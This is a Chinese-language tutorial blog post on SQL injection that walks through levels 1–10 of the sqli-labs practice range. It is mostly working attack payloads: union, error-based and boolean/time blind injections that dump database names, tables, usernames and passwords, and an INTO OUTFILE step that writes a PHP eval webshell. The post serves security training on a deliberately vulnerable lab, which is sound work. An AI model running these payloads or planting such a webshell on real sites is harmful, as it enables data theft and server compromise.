Web安全-SQL注入
SQL注入
课前导论
-
自学部分
- 市场上主流的数据库,及常搭配后端语言;
- 关系型数据库和非关系型数据库的区别;
- 掌握MySQL的基本使用
- 能够创建用户、数据库和表;
- 熟练掌握select搭配常见函数进行查询。
-
什么是SQL注入
-
场景:通过在网站上输入信息,获取该网站数据库中的信息;
-
原理:网站程序将用户输入的信息作为参数,放到一条SQL语句中,并代入数据库执行;
-
条件:客户端向服务端提交的参数(用户输入或浏览器生成)会被代入数据库查询;
-
防御:对客户端提交的参数进行过滤,检测是否有常见的SQL代码。
# 网站程序 num = input("请输入账号的编号:") select username,password from users where id=num; # 用户输入 如果 num = 1 union select user(),database() select username,password from users where id=1 union select user(), database();
-
注入流程
- 确定数据的传输方式,确定参数:GET方式可直接在URL中注入,POST方式需要抓包;
- 确定包裹符号:根据SQL语法,数字可以不加引号,字符串则必须加引号包裹,这里的引号可以是单引号、双引号、单/双引号与圆括号的结合等;
- 判断字段数:判断网站程序一共查询了几列数据,为联合查询注入做铺垫;
- 判断显示位:判断网站程序是否直接将数据库的执行结果显示出来,为联合查询注入做铺垫;
- 选择注入方式
注入方式
联合注入
-
场景/条件:网站程序可以直接返回数据库的执行结果;
-
原理:通过union关键字构造select语句,是网站原有的SQL语句和客户端提交的参数拼接之后,使之成为一条联合查询语句
-
演示
- URL: http://www.sqli-labs.com/Less-1/index.php?id=1 - 包裹参数的符号:' - 请求方式:GET,参数:id - 网站代码 20行:$id=$_GET['id']; 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 注入 ?id=-1' union select 1,database(),version() --+ database():security version():8.0.12
报错注入
-
场景:网站程序不会返回数据库的执行结果,但可以返回数据库的报错信息;
-
原理:将select语句配合特殊字符写入到某些函数中,使函数报错,并将错误信息(包含select语句的执行结果)反馈出来;
-
演示
- URL:http://www.sqli-labs.com/Less-5/index.php?id=5 - 包裹参数的符号:' - 请求方式:GET, 参数:id - 网站代码 - 20行:$id=$_GET['id']; - 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; - 36行:echo 'You are in...........'; - 44行:print_r(mysqli_error($con1)); - 注入 #extractvalue("anyting", concat("¥", (payload))):能查询的字符串最大长度为32,可以配合substring()函数使用 ?id=5' and extractvalue("BrankYeen", concat("$", (select user()))) --+ #updatexml("anyting", concat("@", (payload)), "anyting"):能查询的字符串最大长度为32,可以配合substring()函数使用 ?id=5' and updatexml(1, concat("~", (select version())), 1) --+
-
常用的报错注入函数(跟数据库版本有很大关系,自行区分)
- updatexml():and updatexml("anything", concat(0x7e, (payload)), "anything")
- extractvalue():and extractvalue("anything", concat(0x7e, (payload)))
- floor():and select "anything" from (select count(*), concat((payload), floor(rand(0)*2) a from information_schema.tables group by a) x)
- exp():and exp(~(payload) a)
- join():and (select * from (select * from information_schema.mysql a join information_schema.tables b)) c
- 等等
文件读写
-
场景:网站程序不能直接返回数据库的执行结果,或者需要获取webshell打开网站的后门;
-
原理:利用数据库的文件读取函数读取网站的敏感文件,或者文件写入函数直接向网站写入一句话木马,获取webshell;
-
条件:该网站的数据库拥有文件读取和写入的权限;直到网站大体的目录结构;一般情况下需要知道一些数据库结构;
-
演示:利用 into outfile 上传一句话木马
- URL:http://www.sqli.com/Less-7/index.php?id=7 - 包裹符号:')) - 请求方式:GET 参数:id - 网站目录结构:D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7 - 注入 ?id=7')) union select 1,2,"<?php @eval($_POST["连接密码"]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7" --+ webshell连接工具:输入地址和密码,直接连接 权限维持:种不死马等
盲注
- 场景:网站程序不能直接返回数据库的执行结果;
- 条件:任何情况下都能使用,盲注是条件要求最少的注入方式,同时也是最繁琐的注入方式,一般编写脚本或利用工具进行盲注;
- 分类:布尔盲注、时间盲注;
- 布尔盲注:条件成立,返回正常,否则返回一场页面;
- 时间盲注:条件成立,网站延时,否则不延时。
- 用到的函数
- length(str):返回str的长度;
- left(str, len):截取str的前len个字符;
- sub(str, start, end):截取str的start到end部分;
- mid(str, n1, n2):截取str中n1后的第n2个字符;
- sleep(n):沉睡n秒;
- ascii(char):将字符转换为ASCII码;
- char(ascii):将ASCII码转换为字符
sqli-labs
- 说明:sqli-labs是一款练习SQL注入的线下靶场,用PHP语言编写,使用MySQL数据库,共有65关,包含了SQL注入的绝大多数方式和场景;
- 搭建:网上搜教程自行搭建(注意sqli-labs使用的PHP版本应和服务器的版本一致),一般通过PhpStudy部署环境。
Less-1:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 20行:$id=$_GET['id'];
- 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# URL:http://www.sqli.com/Less-1/index.php?id=1
# 开始注入
- 判断参数类型
1. ?id=1qlkjkdj 页面正常,有符号
2. ?id=1' 页面报错,含单引号
3. ?id=1' --+ 页面正常,确定为单引号
- 判断注入方式
1. 判断字段数
?id=1' order by 3 --+ 页面正常
?id=1' order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-1' union select 1,2,3 --+ 页面显示2、3,可以使用联合注入
3. 获取当前DBMS的用户名和版本
?id=-1' union select 1,user(),version() --+
用户名:admin
版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息
4. 获取当前DB的名称
?id=-1' union select 1,2,database() --+
数据库:security
5. 获取数据库中所有表的名称
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
email中的字段:id,email_id
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
referers中的字段:id,referer,ip_address
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
uagents中的字段:id,uagent,ip_address,username
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=-1' union select 1,2,group_concat(id) from users --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=-1' union select 1,2,group_concat(username) from users --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=-1' union select 1,2,group_concat(password) from users --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-2:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 24行:$id=$_GET['id'];
- 32行:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# URL:http://www.sqli.com/Less-2/index.php?id=2
# 开始注入
- 判断参数类型
1. ?id=2abcd 页面错误,可能为数字型
2. ?id=2 and 2=2 页面正常,存在漏洞,且参数为数字型
- 判断注入方式
1. 判断字段数
?id=2 order by 3 --+ 页面正常
?id=2 order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-2 union select 1,2,3 --+ 页面显示1、2,可以使用联合注入
3. 获取当前DBMS的用户名和版本
?id=-2 union select 1,user(),version() --+
用户名:admin
版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息
4. 获取当前DB的名称
?id=-2 union select 1,2,database() --+
数据库:security
5. 获取数据库中所有表的名称
?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
email中的字段:id,email_id
?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
referers中的字段:id,referer,ip_address
?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
uagents中的字段:id,uagent,ip_address,username
?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=-2 union select 1,2,group_concat(id) from users --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=-2 union select 1,2,group_concat(username) from users --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=-2 union select 1,2,group_concat(password) from users --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-3:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 22行:$id=$_GET['id'];
- 31行:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
# URL:http://www.sqli.com/Less-3/index.php?id=3
# 开始注入
- 判断参数类型
1. ?id=3abcdef 页面正常,参数应为字符型
2. ?id=3' 页面错误,符号可能为单引号
3. ?id=3' --+ 页面错误,符号不是单引号,但含有单引号
4. ?id=3') --+ 页面正常,符号应为('')
5. ?id=3abcdef') --+ 页面正常,确定符号为('')的字符型参数
- 判断注入方式
1. 判断字段数
?id=3') order by 3 --+ 页面正常
?id=3') order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-3') union select 1,2,3 --+ 页面显示2、3,可以使用联合注入
3. 获取当前DBMS的用户名和版本
?id=-3') union select 1,user(),version() --+
用户名:admin
版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息
4. 获取当前DB的名称
?id=-3') union select 1,2,database() --+
数据库:security
5. 获取数据库中所有表的名称
?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
email中的字段:id,email_id
?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
referers中的字段:id,referer,ip_address
?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
uagents中的字段:id,uagent,ip_address,username
?id=-3') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=-3') union select 1,2,group_concat(id) from users --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=-3') union select 1,2,group_concat(username) from users --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=-3') union select 1,2,group_concat(password) from users --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-4:联合查询
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 20行:$id=$_GET['id'];
- 28行:$id = '"' . $id . '"';
- 29行:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
# URL:http://www.sqli.com/Less-4/index.php?id=4
# 开始注入
- 判断参数类型
1. ?id=4abcd 页面正常,参数为字符型
2. ?id=4' 页面正常,符号中不含有单引号
3. ?id=4" 页面错误,符号中含有双引号
4. ?id=4" --+ 页面错误,符号不为双引号
5. ?id=4") --+ 页面正常,符号应为("")
6. ?id=4abcdef") --+ 页面正常,确定符号为("")
- 判断注入方式
1. 判断字段数
?id=4") order by 3 --+ 页面正常
?id=4") order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-4") union select 1,2,3 --+ 页面显示2、3,可以使用联合注入
3. 获取当前DBMS的用户名和版本
?id=-4") union select 1,user(),version() --+
用户名:admin
版本:8.0.12 MySQL5.0.0版本以上,可通过information_schema数据库查询其他数据库的信息
4. 获取当前DB的名称
?id=-4") union select 1,2,database() --+
数据库:security
5. 获取数据库中所有表的名称
?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' --+
email中的字段:id,email_id
?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='referers' --+
referers中的字段:id,referer,ip_address
?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='uagents' --+
uagents中的字段:id,uagent,ip_address,username
?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=-4") union select 1,2,group_concat(id) from users --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=-4") union select 1,2,group_concat(username) from users --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=-4") union select 1,2,group_concat(password) from users --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-5:报错注入
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 20行:$id=$_GET['id'];
- 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 36行:echo 'You are in...........';
- 44行:print_r(mysqli_error($con1));
# URL:http://www.sqli.com/Less-5/index.php?id=5
# 开始注入
- 判断参数类型
1. ?id=5abcd 页面正常,参数为字符型
2. ?id=5' 页面错误,符号中含有单引号
3. ?id=5' --+ 页面正常,确定符号为单引号
- 判断注入方式
1. 判断字段数
?id=5' order by 3 --+ 页面正常
?id=5' order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-5' union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入
3. 尝试报错注入
?id=5' and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+
用户名:admin
4. 获取DBMS的版本
?id=5' and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+
版本:8.0.12
5. 获取当前DB的名称
?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+
数据库:security
6. 获取数据库中所有表的名称
?id=5' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+
email中的字段:id,email_id
?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+
referers中的字段:id,referer,ip_address
?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+
uagents中的字段:id,uagent,ip_address,username
?id=5' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=5' and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=5' and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=5' and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-6:报错注入
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 20行:$id=$_GET['id'];
- 28行:$id = '"'.$id.'"';
- 29行:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- 36行:echo 'You are in...........';
- 44行:print_r(mysqli_error($con1));
# URL:http://www.sqli.com/Less-6/index.php?id=6
# 开始注入
- 判断参数类型
1. ?id=6abcd 页面正常,参数为字符型
2. ?id=6" 页面错误,符号中含有双引号
3. ?id=6" --+ 页面正常,确定符号为双引号
- 判断注入方式
1. 判断字段数
?id=6" order by 3 --+ 页面正常
?id=6" order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=-6" union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入
3. 尝试报错注入
?id=6" and extractvalue(null,concat(0x7e,(select user()),0x7e)) --+
用户名:admin
4. 获取DBMS的版本
?id=6" and extractvalue(null,concat(0x7e,(select version()),0x7e)) --+
版本:8.0.12
5. 获取当前DB的名称
?id=6" and extractvalue(null,concat(0x7e,(select database()),0x7e)) --+
数据库:security
6. 获取数据库中所有表的名称
?id=6" and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) --+
所有的表:emails,referers,uagents,users
6. 获取每张表里的字段名
?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) --+
email中的字段:id,email_id
?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) --+
referers中的字段:id,referer,ip_address
?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) --+
uagents中的字段:id,uagent,ip_address,username
?id=6" and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) --+
users中的字段:id,username,password
7. 获取users表中的所有数据
?id=6" and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) --+
id:1,2,3,4,5,6,7,8,9,10,11,12,14
?id=6" and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) --+
username:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
?id=6" and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) --+
password:Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
Less-7:文件读写
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 22行:$id=$_GET['id'];
- 31行:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- 38行:echo 'You are in.... Use outfile......';
- 45行:echo 'You have an error in your SQL syntax';
# URL:http://www.sqli.com/Less-7/index.php?id=7
# 开始注入
- 判断参数类型
1. ?id=7abcd 页面正常,参数为字符型
2. ?id=7' 页面错误,符号中含有单引号
3. ?id=7' --+ 页面错误,符号不是单引号
4. ?id=7') --+ 页面错误,符号不是('')
5. ?id=7')) --+ 页面正常,符号是((''))
- 判断注入方式
1. 判断字段数
?id=7')) order by 3 --+ 页面正常
?id=7')) order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=7')) union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入
3. 尝试盲注
网站目录结构:D:\\phpstudy_pro\\sqli-labs\\Less-7
数据库:security
表:uagents、users、emails、referers
4. 木马写入
?id=7')) union select 1,2,"<?php @eval($_POST['123.com']);?>" into outfile "D:\\phpstudy_pro\\sqli-labs\\Less-7\\alpha.php" from users;
5. webshell工具连接
6. 权限提升
7. 权限维持
Less-8:布尔盲注
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 20行:$id=$_GET['id'];
- 29行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 36行:echo 'You are in...........';
# URL:http://www.sqli.com/Less-8/index.php?id=8
# 开始注入
- 判断参数类型
1. ?id=8abcd 页面正常,参数为字符型
2. ?id=7' 页面错误,符号中含有单引号
3. ?id=7' --+ 页面正常,确定符号是单引号
- 判断注入方式
1. 判断字段数
?id=7')) order by 3 --+ 页面正常
?id=7')) order by 4 --+ 页面报错,确定字段数为3
2. 尝试联合注入
?id=7')) union select 1,2,3 --+ 页面没有返回数据库的执行结果,无法进行联合注入
3. 盲注获取数据库名
#判断数据库名字的长度
?id=8' and length((database()))=8 --+ 页面正常,长度小于等于8
?id=8' and length((database()))=9 --+ 页面错误,长度确定为8
#判断数据库名称的每一位
?id=8' and substr(database(),1,1)='s' --+ 第一位:s
...... ......
?id=8' and substr(database(),8,1)='y' --+ 第九位:y
4. 盲注获取表名
#判断所有表名称的长度
?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=29 --+ 页面正常,长度小于等于29
?id=8' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=30 --+ 页面错误,长度确定为29
#判断表名的每一位
?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,1)='e' --+ 第一位:e
...... ......
?id=8' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),29,1)='s' --+ 第29位:s
5. 盲注获取字段名
#判断某张表里的所有字段长度
?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=20 --+ 页面正常,长度小于等于20
?id=8' and length((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))=21 --+ 页面错误,长度确定为20
#判断字段中的每一位
?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),1,1)='i' --+ 第一位:i
...... ......
?id=8' and substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),20,1)='d' --+ 第20位:d
Less-9:时间盲注
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 21行:$id=$_GET['id'];
- 30行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 37行:echo 'You are in...........';
- 45行:echo 'You are in...........';
# URL:http://www.sqli.com/Less-9/index.php?id=9
# 开始注入
- 判断参数类型
1. ?id=9abcd 页面正常,参数为字符型
2. ?id=9' 页面正常,符号中可能不包含单引号
3. ?id=9" 页面正常,符号中可能不包含双引号(结合代码可知,无论数据库返回任何结果,都显示同一页面,可考虑时间盲注)
4. ?id=9 and sleep(5) 页面没有延时5秒
5. ?id=9' and sleep(5) --+ 页面延时5秒,可以执行SQL语句,可能存在时间盲注,符号为单引号
- 时间盲注
1. 获取数据库名
#判断数据名称长度
?id=9' and sleep(if(length(database())=8,5,0)) --+
#获取具体的数据库名
?id=9' and sleep(if((substr(database(),1,1)='s'),5,0)) --+
2. 获取数据库中所有的表
#判断表名的长度
?id=9' and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+
#获取具体的表名
?id=9' and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+
3. 获取表中的字段
#判断字段的长度
?id=9' and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+
#获取具体的字段名
?id=9' and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+
Less-10:时间盲注
# 根据提示,该关卡为GET方式请求,且参数为id
# 网站关键源码
- 21行:$id=$_GET['id'];
- 30行:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 37行:echo 'You are in...........';
- 45行:echo 'You are in...........';
# URL:http://www.sqli.com/Less-10/index.php?id=10
# 开始注入
- 判断参数类型
1. ?id=10abcd 页面正常,参数为字符型
2. ?id=10' 页面正常,符号中可能不包含单引号
3. ?id=10" 页面正常,符号中可能不包含双引号(结合代码可知,无论数据库返回任何结果,都显示同一页面,可考虑时间盲注)
4. ?id=10 and sleep(5) 页面没有延时5秒
5. ?id=10" and sleep(5) --+ 页面延时5秒,可以执行SQL语句,可能存在时间盲注,符号为双引号
- 时间盲注
1. 获取数据库名
#判断数据名称长度
?id=10" and sleep(if(length(database())=8,5,0)) --+
#获取具体的数据库名
?id=10" and sleep(if((substr(database(),1,1)='s'),5,0)) --+
2. 获取数据库中所有的表
#判断表名的长度
?id=10" and sleep(if(length(select group_concat(table_name) from information_schema.tables where table_schema="security")=29,5,0)) --+
#获取具体的表名
?id=10" and sleep(if((select group_concat(table_name) from information_schema.tables where table_schema="security")='e', 5, 0)) --+
3. 获取表中的字段
#判断字段的长度
?id=10" and sleep(if(length(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")=20,5,0)) --+
#获取具体的字段名
?id=10" and sleep(if((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")='i', 5, 0)) --+
本文作者:尹少欣
本文链接:https://www.cnblogs.com/brankyeen/p/17698088.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。